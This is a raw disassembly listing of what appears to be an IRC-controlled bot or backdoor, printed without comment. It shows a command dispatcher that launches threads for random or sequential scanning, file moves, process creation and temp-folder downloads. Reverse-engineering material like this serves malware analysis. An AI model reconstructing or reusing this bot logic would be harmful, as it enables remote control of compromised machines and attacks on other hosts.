push [ebp+arg_4]
call ds:dword_4E2F6C ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_484]
push eax
call sub_41E510
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_4078A4
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41F5B0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407898
loc_407876: ; CODE XREF: sub_401C87+5C0Fj
cmp eax, ebx
jz short loc_407898
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41F5B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407876
loc_407898: ; CODE XREF: sub_401C87+5BEDj
; sub_401C87+5BF1j
mov [ebp+var_344], 1
jmp short loc_4078AA
; ---------------------------------------------------------------------------
loc_4078A4: ; CODE XREF: sub_401C87+5BC7j
mov [ebp+var_344], ebx
loc_4078AA: ; CODE XREF: sub_401C87+5B44j
; sub_401C87+5C1Bj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41EC30
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4078FB
loc_4078E8: ; CODE XREF: sub_401C87+5C97j
push esi
loc_4078E9: ; CODE XREF: sub_401C87+5C81j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41EC30
add esp, 0Ch
jmp short loc_407926
; ---------------------------------------------------------------------------
loc_4078FB: ; CODE XREF: sub_401C87+5C5Fj
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_40790A
cmp byte ptr [eax], 23h
jnz short loc_40790A
push eax
jmp short loc_4078E9
; ---------------------------------------------------------------------------
loc_40790A: ; CODE XREF: sub_401C87+5C79j
; sub_401C87+5C7Ej
mov esi, offset a2 ; "#2"
push offset word_4E2E7E
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4078E8
mov [ebp+var_3F4], bl
loc_407926: ; CODE XREF: sub_401C87+5C72j
cmp [ebp+var_344], ebx
mov eax, offset aRandom_1 ; "Random"
jnz short loc_407938
mov eax, offset aSequential_0 ; "Sequential"
loc_407938: ; CODE XREF: sub_401C87+5CAAj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_442430
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B691
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40CA91
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4079C9
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442498
jmp loc_406190
; ---------------------------------------------------------------------------
loc_4079C1: ; CODE XREF: sub_401C87+5D48j
push 32h
call ds:dword_4F534C ; Sleep
loc_4079C9: ; CODE XREF: sub_401C87+5D27j
cmp [ebp+var_340], ebx
jz short loc_4079C1
jmp loc_407148
; ---------------------------------------------------------------------------
loc_4079D6: ; CODE XREF: sub_401C87+4FF0j
; sub_401C87+5007j
push [ebp+arg_10]
call sub_40AD91
push edi
mov [ebp+var_4E0], eax
call sub_41E710
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41E710
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41E710
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41E510
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset unk_4424D0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B691
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CEA6
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_407ACE
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442520
jmp loc_404014
; ---------------------------------------------------------------------------
loc_407AC6: ; CODE XREF: sub_401C87+5E4Dj
push 32h
call ds:dword_4F534C ; Sleep
loc_407ACE: ; CODE XREF: sub_401C87+5E2Cj
cmp [ebp+var_4D0], ebx
jz short loc_407AC6
jmp loc_404023
; ---------------------------------------------------------------------------
loc_407ADB: ; CODE XREF: sub_401C87+4FB3j
; sub_401C87+4FCAj
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
cmp ds:byte_455F18[eax], bl
jz loc_409A67
cmp [ebp+var_C], ebx
jz loc_409A67
push edi
call sub_41BC70
push [ebp+arg_10]
mov esi, eax
call sub_41BC70
push [ebp+arg_8]
add esi, eax
call sub_41BC70
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41EBB0
mov esi, eax
lea eax, [ebp+var_2C0]
push esi
push offset dword_44255C
push eax
call sub_41EA60
add esp, 20h
cmp esi, ebx
jz loc_409A67
push [ebp+arg_10]
call sub_41E710
test eax, eax
pop ecx
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C75
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_455D00[eax], 73h
jnz loc_409A67
push esi
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
add eax, offset byte_455F18
push eax
push edi
push offset dword_442568
loc_407BCB: ; CODE XREF: sub_401C87+6046j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
jmp loc_40421D
; ---------------------------------------------------------------------------
loc_407BF5: ; CODE XREF: sub_401C87+4F85j
; sub_401C87+4F9Cj
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
cmp ds:byte_455F18[eax], bl
jz loc_409A67
cmp [ebp+var_C], ebx
jz loc_409A67
push edi
call sub_41BC70
push [ebp+arg_10]
mov esi, eax
call sub_41BC70
push [ebp+arg_8]
add esi, eax
call sub_41BC70
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41EBB0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409A67
push [ebp+arg_10]
call sub_41E710
test eax, eax
pop ecx
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C75
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_455D00[eax], 73h
jnz loc_409A67
push esi
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
add eax, offset byte_455F18
push eax
push edi
push offset dword_442578
jmp loc_407BCB
; ---------------------------------------------------------------------------
loc_407CD2: ; CODE XREF: sub_401C87+4F57j
; sub_401C87+4F6Ej
push [ebp+arg_10]
call ds:dword_4E3008 ; inet_addr
push edi
mov [ebp+var_680], eax
call sub_41E710
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41E710
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41E510
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset unk_442588
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40CDB5
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_407DB7
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4425C4
jmp loc_404014
; ---------------------------------------------------------------------------
loc_407DAF: ; CODE XREF: sub_401C87+6136j
push 32h
call ds:dword_4F534C ; Sleep
loc_407DB7: ; CODE XREF: sub_401C87+6115j
cmp [ebp+var_670], ebx
jz short loc_407DAF
jmp loc_404023
; ---------------------------------------------------------------------------
loc_407DC4: ; CODE XREF: sub_401C87+4F29j
; sub_401C87+4F40j
push [ebp+arg_10]
call sub_41E710
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41E510
push [ebp+arg_0]
call sub_41E710
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push 80h
push eax
mov [ebp+var_1238], esi
call sub_41EC30
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4425FC
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 18h
push eax
call sub_40B691
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset sub_410CBF
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_407EB0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442638
jmp loc_404014
; ---------------------------------------------------------------------------
loc_407EA8: ; CODE XREF: sub_401C87+622Fj
push 32h
call ds:dword_4F534C ; Sleep
loc_407EB0: ; CODE XREF: sub_401C87+620Ej
cmp [ebp+var_1118], ebx
jz short loc_407EA8
jmp loc_404023
; ---------------------------------------------------------------------------
loc_407EBD: ; CODE XREF: sub_401C87+4EFBj
; sub_401C87+4F12j
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41E510
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41E510
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41E710
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407F16
push 10h
push ebx
push eax
call sub_41F450
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407F1C
; ---------------------------------------------------------------------------
loc_407F16: ; CODE XREF: sub_401C87+6279j
mov [ebp+var_2668], ebx
loc_407F1C: ; CODE XREF: sub_401C87+628Dj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407F33
push esi
call sub_41E710
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407F39
; ---------------------------------------------------------------------------
loc_407F33: ; CODE XREF: sub_401C87+629Bj
mov [ebp+var_266C], ebx
loc_407F39: ; CODE XREF: sub_401C87+62AAj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41E510
mov eax, [ebp+var_4]
push edi
push [ebp+arg_10]
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2660], eax
lea eax, [ebp+var_2C0]
push offset unk_44267C
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_2C0]
push 1Dh
push eax
call sub_40B691
add esp, 28h
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset sub_416D68
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_407FEA
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4426A8
jmp loc_4082A3
; ---------------------------------------------------------------------------
loc_407FE2: ; CODE XREF: sub_401C87+6369j
push 32h
call ds:dword_4F534C ; Sleep
loc_407FEA: ; CODE XREF: sub_401C87+6348j
cmp [ebp+var_2658], ebx
jz short loc_407FE2
jmp loc_4082B2
; ---------------------------------------------------------------------------
loc_407FF7: ; CODE XREF: sub_401C87+4ECDj
; sub_401C87+4EE4j
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41E510
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_3494], esi
push offset unk_4426E8
push eax
call sub_41EA60
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 12h
push eax
call sub_40B691
add esp, 0Ch
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset sub_415321
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4080D1
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442724
jmp loc_4082A3
; ---------------------------------------------------------------------------
loc_4080C9: ; CODE XREF: sub_401C87+6450j
push 32h
call ds:dword_4F534C ; Sleep
loc_4080D1: ; CODE XREF: sub_401C87+642Fj
cmp [ebp+var_3284], ebx
jz short loc_4080C9
jmp loc_4082B2
; ---------------------------------------------------------------------------
loc_4080DE: ; CODE XREF: sub_401C87+4DA1j
; sub_401C87+4DB8j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41E510
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41E510
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_306C], esi
push offset unk_44275C
push eax
call sub_41EA60
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 0Eh
push eax
call sub_40B691
add esp, 0Ch
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset sub_414067
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4081B8
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44278C
jmp loc_4082A3
; ---------------------------------------------------------------------------
loc_4081B0: ; CODE XREF: sub_401C87+6537j
push 32h
call ds:dword_4F534C ; Sleep
loc_4081B8: ; CODE XREF: sub_401C87+6516j
cmp [ebp+var_2E5C], ebx
jz short loc_4081B0
jmp loc_4082B2
; ---------------------------------------------------------------------------
loc_4081C5: ; CODE XREF: sub_401C87+4C79j
; sub_401C87+4C90j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41E510
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41E510
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_3CEC], esi
push offset unk_4427C4
push eax
call sub_41EA60
add esp, 50h
lea eax, [ebp+var_2C0]
push ebx
push 0Dh
push eax
call sub_40B691
add esp, 0Ch
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset sub_4132FC
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4082CC
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4427F4
loc_4082A3: ; CODE XREF: sub_401C87+4EA2j
; sub_401C87+5832j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
loc_4082B2: ; CODE XREF: sub_401C87+4EB7j
; sub_401C87+5847j ...
cmp [ebp+var_8], ebx
jnz loc_402593
push ebx
push [ebp+var_4]
jmp loc_40402E
; ---------------------------------------------------------------------------
loc_4082C4: ; CODE XREF: sub_401C87+664Bj
push 32h
call ds:dword_4F534C ; Sleep
loc_4082CC: ; CODE XREF: sub_401C87+660Ej
cmp [ebp+var_3A5C], ebx
jz short loc_4082C4
jmp short loc_4082B2
; ---------------------------------------------------------------------------
loc_4082D6: ; CODE XREF: sub_401C87+4C4Bj
; sub_401C87+4C62j
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41E510
push edi
call sub_41E710
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41E510
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_408321
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41E510
add esp, 0Ch
loc_408321: ; CODE XREF: sub_401C87+6686j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C0]
push offset dword_44282C
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 1Fh
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4019A5
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4083B0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_44285C
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_4083A8: ; CODE XREF: sub_401C87+672Fj
push 32h
call ds:dword_4F534C ; Sleep
loc_4083B0: ; CODE XREF: sub_401C87+670Ej
cmp [ebp+var_161C], ebx
jz short loc_4083A8
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_4083BD: ; CODE XREF: sub_401C87+4C0Bj
; sub_401C87+4C22j
push edi
call sub_41E710
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_4084AD
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41EC30
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41EC30
mov eax, [ebp+var_4]
push edi
push [ebp+arg_10]
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
mov [ebp+var_1D58], eax
push offset unk_442898
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
push ebx
lea eax, [ebp+var_2C0]
push 15h
push eax
call sub_40B691
add esp, 38h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset sub_413740
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4084A0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4428C4
jmp loc_406190
; ---------------------------------------------------------------------------
loc_408498: ; CODE XREF: sub_401C87+681Fj
push 32h
call ds:dword_4F534C ; Sleep
loc_4084A0: ; CODE XREF: sub_401C87+67FEj
cmp [ebp+var_1D54], ebx
jz short loc_408498
jmp loc_407148
; ---------------------------------------------------------------------------
loc_4084AD: ; CODE XREF: sub_401C87+6745j
push offset unk_4428FC
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_4084B7: ; CODE XREF: sub_401C87+4BDDj
; sub_401C87+4BF4j
push edi
push [ebp+arg_10]
call ds:dword_4F5388 ; MoveFileA
test eax, eax
jz short loc_4084E4
push edi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push offset unk_442934
push 200h
push eax
call sub_41EC30
jmp loc_404247
; ---------------------------------------------------------------------------
loc_4084E4: ; CODE XREF: sub_401C87+683Cj
push offset dword_442958
call sub_418C20
push eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
add esp, 10h
jmp loc_407148
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401C87+4BAFj
; sub_401C87+4BC6j
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41EC30
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408542
push edi
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408542
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_408542: ; CODE XREF: sub_401C87+689Bj
; sub_401C87+68AAj
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_442964
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
push ebx
lea eax, [ebp+var_2C0]
push 24h
push eax
call sub_40B691
add esp, 2Ch
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset sub_417606
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_408607
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442994
loc_4085EB: ; CODE XREF: sub_401C87+8E5j
; sub_401C87+A0Dj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_402593
; ---------------------------------------------------------------------------
loc_4085FF: ; CODE XREF: sub_401C87+6986j
push 32h
call ds:dword_4F534C ; Sleep
loc_408607: ; CODE XREF: sub_401C87+6956j
cmp [ebp+var_3CF0], ebx
jz short loc_4085FF
jmp loc_402593
; ---------------------------------------------------------------------------
loc_408614: ; CODE XREF: sub_401C87+4B81j
; sub_401C87+4B98j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41E4B0
push [ebp+arg_10]
mov [ebp+var_668], esi
xor esi, esi
mov [ebp+var_638], bx
inc esi
mov [ebp+var_63C], esi
call sub_41E710
add esp, 10h
cmp eax, esi
jnz short loc_408653
mov [ebp+var_638], 5
loc_408653: ; CODE XREF: sub_401C87+69C1j
cmp [ebp+var_C], ebx
jz loc_406F1E
push edi
push [ebp+var_C]
call sub_41EBB0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406F1E
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_4086A2
push offset unk_4429D0
jmp loc_4064A4
; ---------------------------------------------------------------------------
loc_4086A2: ; CODE XREF: sub_401C87+6A0Fj
push edi
push offset dword_4429F4
jmp loc_406F15
; ---------------------------------------------------------------------------
loc_4086AD: ; CODE XREF: sub_401C87+4B53j
; sub_401C87+4B6Aj
push edi
push offset aTarab ; "Tarab"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40881F
lea eax, [ebp+var_48F0]
push eax
push 104h
call ds:dword_4F5384 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41E510
lea eax, [ebp+var_17D0]
push eax
call sub_40B075
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset dword_442A10
push eax
call sub_41EA60
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_40873F
push 10h
push ebx
push eax
call sub_41F450
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_408745
; ---------------------------------------------------------------------------
loc_40873F: ; CODE XREF: sub_401C87+6AA2j
mov [ebp+var_23C0], ebx
loc_408745: ; CODE XREF: sub_401C87+6AB6j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40875C
push esi
call sub_41E710
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_408762
; ---------------------------------------------------------------------------
loc_40875C: ; CODE XREF: sub_401C87+6AC4j
mov [ebp+var_23C4], ebx
loc_408762: ; CODE XREF: sub_401C87+6AD3j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41E510
mov eax, [ebp+var_4]
push [ebp+arg_10]
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C0]
push offset dword_442A1C
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_2C0]
push 1Eh
push eax
call sub_40B691
add esp, 24h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset sub_416D68
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_408812
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442A48
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_40880A: ; CODE XREF: sub_401C87+6B91j
push 32h
call ds:dword_4F534C ; Sleep
loc_408812: ; CODE XREF: sub_401C87+6B70j
cmp [ebp+var_23B0], ebx
jz short loc_40880A
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_40881F: ; CODE XREF: sub_401C87+6A35j
push offset dword_442A88
jmp loc_40649E
; ---------------------------------------------------------------------------
loc_408829: ; CODE XREF: sub_401C87+4B25j
; sub_401C87+4B3Cj
push [ebp+var_8C]
push offset a332_2 ; "332"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4076C4
cmp [ebp+var_C], ebx
jz loc_4076C4
push edi
push [ebp+var_C]
call sub_41EBB0
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS_0 ; "%s %s %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41E510
push [ebp+arg_10]
call sub_41E710
add esp, 30h
